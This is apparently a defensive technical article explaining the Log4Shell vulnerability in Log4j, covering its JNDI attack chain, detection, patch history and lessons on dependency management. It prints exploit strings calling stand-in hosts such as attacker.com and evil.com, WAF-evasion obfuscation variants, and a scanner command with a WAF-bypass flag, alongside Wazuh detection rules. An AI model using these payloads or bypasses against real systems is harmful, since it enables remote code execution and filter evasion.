Log4Shell is the vulnerability that forced the industry to reckon with transitive dependencies. A single logging library, buried three or four levels deep in dependency trees, handed unauthenticated remote code execution to anyone who could make an application log a crafted string. The vulnerability was trivial to exploit, nearly impossible to inventory, and it lived in virtually every Java deployment on the planet.
What Log4j and JNDI Do
Log4j is the de facto logging framework for Java applications. Maintained by the Apache Software Foundation, Log4j 2.x replaced the original Log4j 1.x line and became the standard choice for structured logging across the Java ecosystem. It ships inside application servers (Tomcat, JBoss), big data platforms (Elasticsearch, Apache Solr, Apache Kafka), CI/CD tools (Jenkins), Minecraft servers, and thousands of internal enterprise applications. Most organizations that run Java run Log4j, whether they know it or not.
JNDI — the Java Naming and Directory Interface — is a Java API that provides a unified interface for looking up objects through naming and directory services. It supports multiple service providers, including:
- LDAP (Lightweight Directory Access Protocol) — directory lookups
- RMI (Remote Method Invocation) — remote Java object resolution
- DNS — domain name lookups
- CORBA — distributed object resolution
JNDI itself is not a vulnerability. It is a standard part of the Java platform, used legitimately in application servers for connection pooling, dependency injection, and configuration management. The problem is what happens when JNDI lookups are triggered by untrusted input.
The Vulnerability
Log4j 2.x included a feature called message lookups that allowed log messages to contain expressions in the form ${prefix:name}. When Log4j processed a log message, it would resolve these expressions before writing the output. This was designed for convenience — embedding system properties, environment variables, or other context directly in log output.
One of the supported lookup prefixes was jndi. This meant that a log message containing ${jndi:ldap://attacker.com/exploit} would cause Log4j to perform an outbound LDAP lookup to attacker.com as part of formatting the log line.
The critical detail: this lookup happened during the logging call itself, not in some separate configuration step. Any string that eventually passed through Log4j’s message formatter became a potential injection point. Consider the most common scenario:
// A typical web application logging the User-Agent header
logger.info("Request from client: " + request.getHeader("User-Agent"));An attacker sets their User-Agent to:
${jndi:ldap://attacker.com/exploit}When the application logs this request, Log4j evaluates the expression, initiates an outbound LDAP connection to the attacker’s server, and the exploitation chain begins. The developer did nothing wrong in the conventional sense — logging HTTP headers is standard practice. The vulnerability was in the logging framework itself.
Injection points were everywhere:
- HTTP headers — User-Agent, X-Forwarded-For, Referer, Accept-Language
- Form fields — usernames, search queries, registration forms
- API parameters — any JSON or XML field that gets logged
- Authentication inputs — login names, OAuth tokens
- Chat messages — anything logged by communication platforms
- SMTP headers — email subjects and recipient names in mail servers
Any user-controlled string that touched a logger.info(), logger.error(), logger.warn(), or logger.debug() call was a viable entry point. Since most applications log extensively for debugging and audit purposes, the attack surface was enormous.
Attack Chain
The full exploitation flow from injection to code execution follows a multi-step chain. Each step is automatic — no additional attacker interaction is required after the initial payload delivery.
Attacker Target Application Attacker Infrastructure
| | |
| HTTP request with payload | |
| User-Agent: ${jndi:ldap:// | |
| evil.com/exploit} | |
|------------------------------>| |
| | |
| 1. Application logs |
| the request header |
| | |
| 2. Log4j resolves the |
| ${jndi:...} expression |
| | |
| | 3. LDAP query to |
| | evil.com:1389 |
| |------------------------------>|
| | |
| | 4. LDAP returns referral |
| | to http://evil.com/ |
| | Exploit.class |
| |<------------------------------|
| | |
| | 5. JVM fetches |
| | Exploit.class via HTTP |
| |------------------------------>|
| | |
| | 6. Exploit.class returned |
| |<------------------------------|
| | |
| 7. JVM loads and instantiates |
| Exploit.class — attacker |
| has RCE |
| | |Breaking this down:
- Injection — The attacker sends a request containing the JNDI lookup string. This can be any HTTP header, form field, or parameter that the application logs.
- Lookup trigger — Log4j’s message formatter encounters the
${jndi:ldap://...}expression and initiates a JNDI lookup. - LDAP connection — The target application makes an outbound LDAP connection to the attacker-controlled server.
- LDAP referral — The attacker’s LDAP server responds with a referral pointing to an HTTP URL hosting a malicious Java class file.
- Class fetch — The target JVM follows the referral and downloads the Java class file over HTTP.
- Class loading — The JVM loads the downloaded class and executes its constructor or static initializer.
- Code execution — The attacker’s code runs in the context of the target application, with full access to the application’s privileges.
Warning
The attacker infrastructure (LDAP server and HTTP server hosting the exploit class) can be set up in minutes using tools like
marshalsecfor the LDAP referral server and any HTTP server for class hosting. In the wild, attackers automated the entire chain. From sending the first probe to achieving RCE was measured in seconds, not minutes.
On older JVM versions (before JDK 8u191), this chain worked without any additional configuration. Java would fetch and load remote classes by default. Newer JVM versions set com.sun.jndi.ldap.object.trustURLCodebase to false by default, blocking the remote class loading step. However, attackers quickly found bypasses using deserialization gadget chains already present on the classpath (via libraries like Commons Collections, Spring, or Tomcat’s own classes), making the JVM version restriction insufficient as a mitigation.
Detection
Detecting Log4Shell exploitation is complicated by the fact that Log4j’s lookup syntax supports nested expressions and obfuscation. Naive string matching for ${jndi: misses the majority of real-world payloads.
Obfuscation Bypasses
Attackers used Log4j’s own lookup syntax to evade WAF signatures:
# Basic payload
${jndi:ldap://attacker.com/exploit}
# Using lower/upper lookups to break signature matching
${${lower:j}ndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com/x}
# Using character-by-character reverse construction
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/x}
# Using environment variable lookups
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap://attacker.com/x}
# Nested with default values
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://attacker.com/x}
# URL-encoded variants (after web server decoding)
%24%7Bjndi:ldap://attacker.com/x%7DTip
WAF rules that only match the literal string
${jndi:will miss virtually all real-world exploitation attempts. Effective detection requires recursive resolution of nested expressions or, more practically, matching on the component patterns (${,jndi,ldap://,rmi://,dns://) within a reasonable window. Some WAF vendors released rules that matched any${followed byjndiwithin 50 characters, with normalization applied first.
Scanning for Vulnerable JARs
Log4j ships as log4j-core-2.x.jar. Finding every instance across a fleet requires recursive scanning, including inside nested archives (WAR, EAR, JAR files embedded within other JARs):
# Find all log4j-core JARs on the filesystem
find / -name "log4j-core-*.jar" -type f 2>/dev/null
# Check version of a specific JAR
unzip -p /path/to/log4j-core-2.14.1.jar META-INF/MANIFEST.MF | grep Implementation-Version
# Scan inside WAR/EAR files for embedded log4j
find / -name "*.war" -o -name "*.ear" 2>/dev/null | while read f; do
jar tf "$f" 2>/dev/null | grep "log4j-core"
doneFor fleet-wide scanning, the log4j-scan tool from FullHunt and the log4shell-detector from Lunasec automated this process:
# Using log4j-scan for active testing
python3 log4j-scan.py -u "https://target.com" --waf-bypass --custom-dns-callback-host your-canary.canarytokens.com
# Using lunasec to scan local filesystems
lunasec scan --json /opt/applications/Tip
Active scanning with DNS callback canaries (e.g., Burp Collaborator, interactsh, or canarytokens) is the most reliable way to confirm exploitability. If the target makes an outbound DNS query to your canary domain, the JNDI lookup is being processed — even if the full RCE chain is blocked by JVM version or network egress rules.
Wazuh Rules for Log4Shell Detection
For organizations running Wazuh, custom rules can detect exploitation attempts in web server and application logs:
<decoder name="log4shell-detect">
<prematch>\$\{</prematch>
<regex>(\$\{.*jndi.*\})</regex>
<order>data</order>
</decoder><rule id="100200" level="14">
<decoded_as>log4shell-detect</decoded_as>
<match type="pcre2">(?i)\$\{.*j.*n.*d.*i.*:.*(?:ldap|rmi|dns|iiop)</match>
<description>Log4Shell exploitation attempt — JNDI lookup detected in log data</description>
<mitre>
<id>T1190</id>
<tactic>Initial Access</tactic>
</mitre>
</rule>
<rule id="100201" level="14">
<decoded_as>log4shell-detect</decoded_as>
<match type="pcre2">(?i)\$\{.*(?:\$\{.*:.*\-.*\}|(?:lower|upper|env):).*(?:j|n|d|i)</match>
<description>Log4Shell obfuscated exploitation attempt — nested expression detected</description>
<mitre>
<id>T1190</id>
<tactic>Initial Access</tactic>
</mitre>
</rule>The first rule catches direct JNDI lookup patterns. The second targets obfuscated variants using nested lookups, lower/upper functions, or environment variable default values.
Patch Progression
The remediation timeline for Log4Shell is a case study in how fixing a deeply embedded vulnerability is an iterative process. Each patch closed the immediate attack vector, only for the next issue to surface.
2.15.0 (December 6, 2021)
The initial fix disabled JNDI message lookups by default and restricted LDAP lookups to localhost. This was the patch that the Apache team rushed out after Alibaba Cloud Security reported the vulnerability on November 24.
Problem: The fix was incomplete. Certain non-default logging configurations (specifically, pattern layouts using Context Lookups like ${ctx:loginId}) could still be exploited. Thread Context Map data controlled by the attacker could trigger JNDI lookups even with the new defaults.
2.16.0 (December 13, 2021)
This release removed message lookup support entirely, not just disabling it by default. JNDI was disabled by default across the board.
Problem: CVE-2021-45105 (CVSS 7.5). Although 2.16.0 removed message lookups and disabled JNDI by default, self-referential lookup patterns could still trigger uncontrolled recursion and denial of service.
2.17.0 (December 17, 2021)
Fixed CVE-2021-45105 from 2.16.0. JNDI lookups were now restricted to the java protocol only, and only in configuration (not in log messages).
Problem: CVE-2021-44832 (CVSS 6.6). Versions up to 2.17.0 could still allow RCE if an attacker could modify Log4j configuration and point a JDBC appender data source at a malicious JNDI URI.
2.17.1 (December 28, 2021)
2.17.1 fixed CVE-2021-44832. An attacker with permission to modify the logging configuration file could construct a malicious JDBC Appender configuration with a data source referencing a JNDI URI, achieving RCE. This required the attacker to already have some level of access (modify config files), so it was less severe than the original, but it demonstrated that JNDI’s integration points with Log4j were extensive.
Timeline:
Nov 24 — Alibaba Cloud reports to Apache
Dec 6 — 2.15.0 released (JNDI disabled by default)
Dec 9 — CVE-2021-44228 disclosed publicly
Dec 9 — Mass exploitation begins within hours
Dec 10 — CISA issues emergency directive
Dec 13 — 2.16.0 released (message lookups removed)
Dec 17 — 2.17.0 released (CVE-2021-45105 DoS fix)
Dec 28 — 2.17.1 released (JDBC appender fix)Insight
Four releases in 22 days, each one fixing a gap the previous patch left open. This is not unusual for vulnerabilities in features that were deeply integrated into a framework’s architecture. JNDI support was not a bolt-on — it was woven into Log4j’s lookup mechanism, which meant removing it safely required understanding every code path that could trigger a lookup. The lesson: when a vulnerability is rooted in a design decision (interpolation of untrusted input), point fixes tend to be incomplete. The fix has to address the design, not just the symptom.
Version Check Reference
For systems where you need to quickly determine whether a Log4j instance is vulnerable:
| Version Range | Status |
|---|---|
| 2.0-beta9 to 2.14.1 | Vulnerable to CVE-2021-44228 (full RCE) |
| 2.15.0 | Vulnerable to CVE-2021-45046 (RCE in non-default configs) |
| 2.16.0 | Vulnerable to CVE-2021-45105 (DoS) |
| 2.17.0 | Vulnerable to CVE-2021-44832 (RCE with config access) |
| 2.17.1+ | Fixed for all known Log4Shell-related CVEs |
| 1.x | Not vulnerable to Log4Shell (but EOL, has other vulnerabilities) |
Lessons Learned
Log4Shell was not just a vulnerability — it was a structural failure in how the software industry manages dependencies, inventories components, and responds to disclosures.
Transitive Dependencies as Hidden Risk
The most striking aspect of the Log4Shell response was how many organizations discovered they were running Log4j only after the CVE was published. Log4j was rarely a direct, declared dependency. It was pulled in transitively — your application uses Spring Boot, which uses Spring Core, which uses spring-jcl, which bridges to Log4j. Or your application is deployed on Apache Solr, which bundles Log4j internally. Or your vendor’s appliance runs Elasticsearch, which embeds it.
Most security teams had no mechanism to answer the question: “Are we running Log4j 2.x, and where?” The scramble to answer that question took days to weeks at many organizations, during which exploitation was ongoing.
SBOM as an Operational Necessity
Log4Shell made the case for Software Bills of Materials (SBOMs) more effectively than any policy document could. Organizations that maintained SBOMs — even basic dependency manifests from build tools — could query for log4j-core across their portfolio and have an answer within hours. Organizations without them were running find commands across production servers, hoping to catch every instance.
The gap between these two responses is the difference between a managed incident and a chaotic one. SBOMs are not a compliance checkbox; they are an operational tool for exactly this scenario.
The Disclosure-to-Exploitation Gap
The timeline is worth studying:
- November 24, 2021 — Alibaba Cloud Security Team reports the vulnerability to Apache
- December 6, 2021 — Apache releases Log4j 2.15.0
- December 9, 2021 — CVE-2021-44228 is publicly disclosed
- December 9, 2021 — Mass exploitation begins within hours of public disclosure
- December 10, 2021 — Cloudflare and Cisco Talos report exploitation attempts dating back to December 1 (before the patch, before public disclosure)
The gap between the report (Nov 24) and the patch (Dec 6) was 12 days. The gap between the patch and public disclosure was 3 days. The gap between public disclosure and mass exploitation was measured in hours. Some evidence suggests exploitation began before the public disclosure, during the window when the patch existed but the CVE had not been published.
This timeline is a challenge to the conventional wisdom of “patch quickly.” Patching quickly matters, but the window of opportunity is brutally short, and for many organizations, the patching process itself takes longer than the disclosure-to-exploitation gap.
”Just Update the Library” Is Not Sufficient
The standard remediation advice — “update Log4j to 2.17.1” — assumed a level of control over the dependency that most teams did not have. In practice:
- Vendor appliances — Network security appliances, storage controllers, and SaaS platforms bundled Log4j internally. Customers could not update the library themselves; they had to wait for vendor patches, which arrived over weeks and months.
- WAR/EAR deployments — Java web applications packaged as WAR or EAR files contain their own copies of libraries. Updating the system-level Log4j has no effect on these bundled copies.
- Shaded/fat JARs — Some build processes “shade” dependencies by repackaging them under different package names. Scanning for
log4j-corewould miss these renamed copies entirely. - End-of-life software — Applications running on unsupported platforms or frameworks could not simply swap in a new Log4j version without risking compatibility issues.
- Embedded systems — IoT devices, printers, and industrial controllers running Java with Log4j had no straightforward update path.
For these cases, mitigations included removing the JndiLookup class from the JAR file manually, setting JVM flags (-Dlog4j2.formatMsgNoLookups=true — which only worked on 2.10.0+), or implementing network-level controls to block outbound LDAP/RMI connections. None of these are clean fixes. All of them are fragile.
Insight
Log4Shell demonstrated that vulnerability management programs built entirely around “apply the patch” will fail when the vulnerability is in a transitive dependency embedded in software you do not control. Effective programs need layered responses: egress filtering to block exploitation even when patching is delayed, SBOM-based inventory to identify exposure rapidly, and contractual requirements for vendors to provide timely updates for embedded components. The organizations that weathered Log4Shell best were not the ones that patched fastest — they were the ones that could identify their exposure within hours and apply mitigations at the network layer while waiting for patches.